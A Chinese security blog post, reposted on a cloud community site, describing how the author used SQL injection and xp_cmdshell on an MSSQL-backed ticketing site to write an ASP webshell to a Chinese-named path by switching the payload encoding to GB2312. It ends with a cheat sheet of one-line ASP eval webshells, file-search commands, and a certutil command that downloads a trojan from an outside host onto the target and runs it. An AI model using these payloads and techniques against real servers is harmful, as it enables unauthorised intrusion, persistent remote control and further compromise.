SQLserver写Webshell总结-突破中文路径

举报
亿人安全 发表于 2023/05/30 11:06:07 2023/05/30
【摘要】 背景目标站:发现授权文件,刷新抓包得到一处ajax请求指向了TicketsSellMainHandler.ashx文件存在注入开始踩坑本来打算通过注入开启XP_cmdshell提权拿到源码 进一步进行审计通过dir命令得到该站绝对路径发现是中文绝对路径,这个时候用echo进行写马已经行不通了mssql调用cmd默认是gb2312编码,使用sqlmap进行echo写马其编码是UTF-8如图 使...

背景

目标站:

图片

发现授权文件,刷新抓包得到一处ajax请求指向了TicketsSellMainHandler.ashx文件
图片
图片
存在注入
图片

开始踩坑

本来打算通过注入开启XP_cmdshell提权拿到源码 进一步进行审计
通过dir命令得到该站绝对路径
图片
发现是中文绝对路径,这个时候用echo进行写马已经行不通了
mssql调用cmd默认是gb2312编码,使用sqlmap进行echo写马其编码是UTF-8
如图 使用echo写马提示找不到路径
图片

powershell上线

尝试powershell上线,发现该服务器存在360,上线失败,暂不考虑bypass
图片

使用BAT文件写shell

尝试使用sqlmap自带的命令--file-write写bat文件getshell
这里知道了mssql调用cmd的编码是gb2312 所以本地的bat文件编码也要是gb2312
图片
将本地1.bat文件利用windows的certutil文件写到对方D盘的1c.bat
图片
type看看中文是否乱码
图片
没有乱码,但是在接下来运行bat文件中又踩坑了==
多次测试都发现asp的木马中 % 文件跟bat不兼容
在本机中测试 发现木马被写成了这个样==
图片
期间尝试过没有%的木马

<SCRIPT language=VBScript runat=”server”>execute request(“MH”)</SCRIPT>

但是由于该机器的配置原因都失败
遂放弃

手工写shell

将sqlmap代理到burp 抓echo写马的数据包
图片
将这段hex通过UTF-8解码
图片
没有乱码,同理,如果通过GB2312解码一定会乱码,mssql调用cmd使用的便是GB2312编码
将echo xxx 通过GB2313 hex编码
图片
对比之前UTF-8和GB2313编码的不同
图片
将burp中原来UTF-8编码的hex改为GB2313编码的hex 然后Forward
图片
这次没有提示找不到路径 访问该shell写入成功

certutil下载上线

图片
图片
与sqlmap --file-write 同理,使用certutil.exe远程下载木马到对方D盘
然后start运行即可

总结

查找文件
1、dir/s/b d:\1.txt
2、for /r "D:" %i in (*.ashx) do echo %i
3、%windir%\system32\inetsrv\appcmd list VDIR

写shell
1、powershell上线
2、echo <%eval request("z")%> > d:\票务专用\z.asp
3、写bat文件,bat编码需要更改为gb2312简体中文。--file-write c:\users\xiu\desktop\1.bat -file-dest d:\1c.bat
4、certutil.exe -urlcache -split -f http://.xiu09.cn/1.asp D:\1.txt 远程下载shell、木马

参考如下:
https://mp.weixin.qq.com/s/NMBdQfVImrAHeDdC2R_rZw

我的blog:http://xiu09.cn/

欢迎关注亿人安全~

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。